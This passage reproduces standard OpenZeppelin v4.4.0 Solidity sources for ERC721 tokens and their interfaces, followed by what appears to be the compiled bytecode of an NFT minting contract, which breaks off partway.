https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061037a5760003560e01c80636352211e116101d15780639e08371411610102578063d6fbf202116100a0578063e985e9c51161006f578063e985e9c514610a16578063eb91d37e14610a5f578063f21f537d14610a74578063f2fde38b14610a8a57600080fd5b8063d6fbf2021461099f578063d79779b2146109b5578063dd6ae049146109eb578063e33b7de314610a0157600080fd5b8063b88d4fde116100dc578063b88d4fde14610909578063c1f2612314610929578063c87b56dd14610949578063ce7c2ac21461096957600080fd5b80639e083714146108b6578063a0712d68146108d6578063a22cb465146108e957600080fd5b80637cf2bf211161016f5780638da5cb5b116101495780638da5cb5b1461082d57806395d89b411461084b5780639852595c146108605780639b9a28c21461089657600080fd5b80637cf2bf21146107d85780638456cb59146107f85780638b83209b1461080d57600080fd5b806370a08231116101ab57806370a082311461076d578063715018a61461078d5780637510414a146107a257806377dadf20146107c257600080fd5b80636352211e146107185780636ba4c138146107385780636c0360eb1461075857600080fd5b80633a98ef39116102ab57806348b7504411610249578063557ed1ba11610223578063557ed1ba146106b757806355f804b3146106ca5780635a67a20d146106ea5780635c975abb1461070057600080fd5b806348b75044146106615780634f6ccce7146106815780635454f5f0146106a157600080fd5b80633f4ba83a116102855780633f4ba83a146105c6578063406072a9146105db57806342842e0e1461062157806344a0d68a1461064157600080fd5b80633a98ef391461057b5780633b4c4b25146105905780633d6a71e4146105b057600080fd5b806313faede6116103185780631998aeef116102f25780631998aeef1461051357806323b872dd1461051b5780632f745c591461053b5780633251701c1461055b57600080fd5b806313faede6146104c857806318160ddd146104de57806319165587146104f357600080fd5b8063081812fc11610354578063081812fc14610443578063095ea7b31461047b5780630fb5a6b41461049d57806310c1952f146104b357600080fd5b806301ffc9a7146103c8578063047fc9aa146103fd57806306fdde031461042157600080fd5b366103c3577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b3480156103d457600080fd5b506103e86103e3366004613552565b610aaa565b60405190151581526020015b60405180910390f35b34801561040957600080fd5b5061041360175481565b6040519081526020016103f4565b34801561042d57600080fd5b50610436610ad5565b6040516103f49190613780565b34801561044f57600080fd5b5061046361045e3660046135e2565b610b67565b6040516001600160a01b0390911681526020016103f4565b34801561048757600080fd5b5061049b610496366004613463565b610c01565b005b3480156104a957600080fd5b50610413601c5481565b3480156104bf57600080fd5b5061049b610d17565b3480156104d457600080fd5b5061041360155481565b3480156104ea57600080fd5b50600854610413565b3480156104ff57600080fd5b5061049b61050e366004613325565b610d50565b61049b610e7e565b34801561052757600080fd5b5061049b610536366004613379565b610f95565b34801561054757600080fd5b50610413610556366004613463565b610fc6565b34801561056757600080fd5b5061049b61057636600461348e565b61105c565b34801561058757600080fd5b50600b54610413565b34801561059c57600080fd5b5061049b6105ab3660046135e2565b611394565b3480156105bc57600080fd5b50610413601e5481565b3480156105d257600080fd5b5061049b6113c3565b3480156105e757600080fd5b506104136105f636600461358a565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b34801561062d57600080fd5b5061049b61063c366004613379565b611440565b34801561064d57600080fd5b5061049b61065c3660046135e2565b61145b565b34801561066d57600080fd5b5061049b61067c36600461358a565b6114ad565b34801561068d57600080fd5b5061041361069c3660046135e2565b611695565b3480156106ad57600080fd5b5061041360185481565b3480156106c357600080fd5b5042610413565b3480156106d657600080fd5b5061049b6106e536600461359c565b611736565b3480156106f657600080fd5b50610413601b5481565b34801561070c57600080fd5b5060135460ff166103e8565b34801561072457600080fd5b506104636107333660046135e2565b61179a565b34801561074457600080fd5b5061049b61075336600461348e565b611811565b34801561076457600080fd5b50610436611a9c565b34801561077957600080fd5b50610413610788366004613325565b611b2a565b34801561079957600080fd5b5061049b611bb1565b3480156107ae57600080fd5b5061049b6107bd3660046135e2565b611be5565b3480156107ce57600080fd5b5061041360165481565b3480156107e457600080fd5b5061049b6107f3366004613612565b611c37565b34801561080457600080fd5b5061049b611cfe565b34801561081957600080fd5b506104636108283660046135e2565b611d53565b34801561083957600080fd5b50600a546001600160a01b0316610463565b34801561085757600080fd5b50610436611d91565b34801561086c57600080fd5b5061041361087b366004613325565b6001600160a01b03166000908152600e602052604090205490565b3480156108a257600080fd5b5061049b6108b1366004613325565b611da0565b3480156108c257600080fd5b5061049b6108d1366004613325565b611e0f565b61049b6108e43660046135e2565b611ea1565b3480156108f557600080fd5b5061049b610904366004613436565b61200c565b34801561091557600080fd5b5061049b6109243660046133b9565b612017565b34801561093557600080fd5b5061049b6109443660046135e2565b61204f565b34801561095557600080fd5b506104366109643660046135e2565b6120eb565b34801561097557600080fd5b50610413610984366004613325565b6001600160a01b03166000908152600d602052604090205490565b3480156109ab57600080fd5b50610413601a5481565b3480156109c157600080fd5b506104136109d0366004613325565b6001600160a01b031660009081526010602052604090205490565b3480156109f757600080fd5b5061041360195481565b348015610a0d57600080fd5b50600c54610413565b348015610a2257600080fd5b506103e8610a31366004613341565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205460ff1690565b348015610a6b57600080fd5b506104136121b8565b348015610a8057600080fd5b50610413601d5481565b348015610a9657600080fd5b5061049b610aa5366004613325565b61222a565b60006001600160e01b0319821663780e9d6360e01b1480610acf5750610acf826122c5565b92915050565b606060008054610ae490613a6b565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1090613a6b565b8015610b5d5780601f10610b3257610100808354040283529160200191610b5d565b820191906000526020600020905b815481529060010190602001808311610b4057829003601f168201915b5050505050905090565b6000818152600260205260408120546001600160a01b0316610be55760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600460205260409020546001600160a01b031690565b6000610c0c8261179a565b9050806001600160a01b0316836001600160a01b03161415610c7a5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b6064820152608401610bdc565b336001600160a01b0382161480610c965750610c968133610a31565b610d085760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006064820152608401610bdc565b610d128383612315565b505050565b600a546001600160a01b03163314610d415760405162461bcd60e51b8152600401610bdc906138ef565b601f805460ff19166001179055565b6001600160a01b0381166000908152600d6020526040902054610d855760405162461bcd60e51b8152600401610bdc90613834565b6000610d90600c5490565b610d9a90476139dd565b90506000610dc78383610dc2866001600160a01b03166000908152600e602052604090205490565b612383565b905080610de65760405162461bcd60e51b8152600401610bdc9061387a565b6001600160a01b0383166000908152600e602052604081208054839290610e0e9084906139dd565b9250508190555080600c6000828254610e2791906139dd565b90915550610e37905083826123c9565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b60026012541415610ea15760405162461bcd60e51b8152600401610bdc90613975565b6002601255601d54421015610ef15760405162461bcd60e51b8152602060048201526016602482015275105d58dd1a5bdb881b9959591cc81d1bc81cdd185c9d60521b6044820152606401610bdc565b601754601654610f029060016139dd565b1115610f205760405162461bcd60e51b8152600401610bdc90613805565b6000610f2a6121b8565b9050803414610f6c5760405162461bcd60e51b815260206004820152600e60248201526d09cdee840cadcdeeaced0408aa8960931b6044820152606401610bdc565b610f78336016546124e2565b60168054906000610f8883613aa6565b9091555050600160125550565b610f9f33826124fc565b610fbb5760405162461bcd60e51b8152600401610bdc90613924565b610d128383836125f2565b6000610fd183611b2a565b82106110335760405162461bcd60e51b815260206004820152602b60248201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560448201526a74206f6620626f756e647360a81b6064820152608401610bdc565b506001600160a01b03919091166000908152600660209081526040808320938352929052205490565b6002601254141561107f5760405162461bcd60e51b8152600401610bdc90613975565b600260125560135460ff16156110a75760405162461bcd60e51b8152600401610bdc906138c5565b8051806110e75760405162461bcd60e51b815260206004820152600e60248201526d63616e6e6f74206265205a65726f60901b6044820152606401610bdc565b601654816018546110f891906139dd565b11156111165760405162461bcd60e51b8152600401610bdc90613805565b6017548160165461112791906139dd565b11156111455760405162461bcd60e51b8152600401610bdc90613805565b602254604051627eeac760e11b81523360048201526001602482015282916001600160a01b03169062fdd58e90604401602060405180830381600087803b15801561118f57600080fd5b505af11580156111a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111c791906135fa565b146112145760405162461bcd60e51b815260206004820152601a60248201527f6e65656420746f206f776e2070617373207370656369666965640000000000006044820152606401610bdc565b60005b8181101561124857611236338260185461123191906139dd565b6124e2565b8061124081613aa6565b915050611217565b5060005b611257826002613a09565b81101561128257611270338260165461123191906139dd565b8061127a81613aa6565b91505061124c565b50602254604051631ac8311560e21b81526001600160a01b0390911690636b20c454906112b79033908690819060040161374a565b600060405180830381600087803b1580156112d157600080fd5b505af11580156112e5573d6000803e3d6000fd5b5050505080601860008282546112fb91906139dd565b9091555061130c9050816002613a09565b6016600082825461131d91906139dd565b92505081905550806019600082825461133691906139dd565b909155507fd8138f8a3f377c5259ca548e70e4c2de94f129f5a11036a15b69513cba2b426a905033611369836002613a09565b604080516001600160a01b03909316835260208301919091520160405180910390a150506001601255565b600a546001600160a01b031633146113be5760405162461bcd60e51b8152600401610bdc906138ef565b601755565b60135460ff1661140c5760405162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b6044820152606401610bdc565b600a546001600160a01b031633146114365760405162461bcd60e51b8152600401610bdc906138ef565b61143e61279d565b565b610d1283838360405180602001604052806000815250612017565b600a546001600160a01b031633146114855760405162461bcd60e51b8152600401610bdc906138ef565b601f5460ff16156114a85760405162461bcd60e51b8152600401610bdc90613793565b601555565b6001600160a01b0381166000908152600d60205260409020546114e25760405162461bcd60e51b8152600401610bdc90613834565b6001600160a01b0382166000908152601060205260408120546040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561153a57600080fd5b505afa15801561154e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061157291906135fa565b61157c91906139dd565b905060006115b58383610dc287876001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b9050806115d45760405162461bcd60e51b8152600401610bdc9061387a565b6001600160a01b0380851660009081526011602090815260408083209387168352929052908120805483929061160b9084906139dd565b90915550506001600160a01b038416600090815260106020526040812080548392906116389084906139dd565b909155506116499050848483612830565b604080516001600160a01b038581168252602082018490528616917f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a910160405180910390a250505050565b60006116a060085490565b82106117035760405162461bcd60e51b815260206004820152602c60248201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60448201526b7574206f6620626f756e647360a01b6064820152608401610bdc565b6008828154811061172457634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b600a546001600160a01b031633146117605760405162461bcd60e51b8152600401610bdc906138ef565b601f5460ff16156117835760405162461bcd60e51b8152600401610bdc90613793565b8051611796906014906020840190613234565b5050565b6000818152600260205260408120546001600160a01b031680610acf5760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b6064820152608401610bdc565b600260125414156118345760405162461bcd60e51b8152600401610bdc90613975565b600260125560135460ff161561185c5760405162461bcd60e51b8152600401610bdc906138c5565b80518061189c5760405162461bcd60e51b815260206004820152600e60248201526d63616e6e6f74206265205a65726f60901b6044820152606401610bdc565b601654816018546118ad91906139dd565b11156118cb5760405162461bcd60e51b8152600401610bdc90613805565b601754816016546118dc91906139dd565b11156118fa5760405162461bcd60e51b8152600401610bdc90613805565b602354604051627eeac760e11b81523360048201526001602482015282916001600160a01b03169062fdd58e90604401602060405180830381600087803b15801561194457600080fd5b505af1158015611958573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061197c91906135fa565b146119c95760405162461bcd60e51b815260206004820152601a60248201527f6e65656420746f206f776e2070617373207370656369666965640000000000006044820152606401610bdc565b60005b81811015611a0a576119e6338260185461123191906139dd565b6119f8338260165461123191906139dd565b80611a0281613aa6565b9150506119cc565b50602354604051631ac8311560e21b81526001600160a01b0390911690636b20c45490611a3f9033908690819060040161374a565b600060405180830381600087803b158015611a5957600080fd5b505af1158015611a6d573d6000803e3d6000fd5b505050508060186000828254611a8391906139dd565b92505081905550806016600082825461131d91906139dd565b60148054611aa990613a6b565b80601f0160208091040260200160405190810160405280929190818152602001828054611ad590613a6b565b8015611b225780601f10611af757610100808354040283529160200191611b22565b820191906000526020600020905b815481529060010190602001808311611b0557829003601f168201915b505050505081565b60006001600160a01b038216611b955760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b6064820152608401610bdc565b506001600160a01b031660009081526003602052604090205490565b600a546001600160a01b03163314611bdb5760405162461bcd60e51b8152600401610bdc906138ef565b61143e6000612882565b600a546001600160a01b03163314611c0f5760405162461bcd60e51b8152600401610bdc906138ef565b601f5460ff1615611c325760405162461bcd60e51b8152600401610bdc90613793565b601855565b600a546001600160a01b03163314611c615760405162461bcd60e51b8152600401610bdc906138ef565b601f5460ff1615611c845760405162461bcd60e51b8152600401610bdc90613793565b601f5460ff1615611ca75760405162461bcd60e51b8152600401610bdc90613793565b601a859055601b849055601c839055601d829055601e81905582611ccb8383613a28565b611cd591906139f5565b6021819055601b54601a54611cea9190613a28565b611cf491906139f5565b6020555050505050565b60135460ff1615611d215760405162461bcd60e51b8152600401610bdc906138c5565b600a546001600160a01b03163314611d4b5760405162461bcd60e51b8152600401610bdc906138ef565b61143e6128d4565b6000600f8281548110611d7657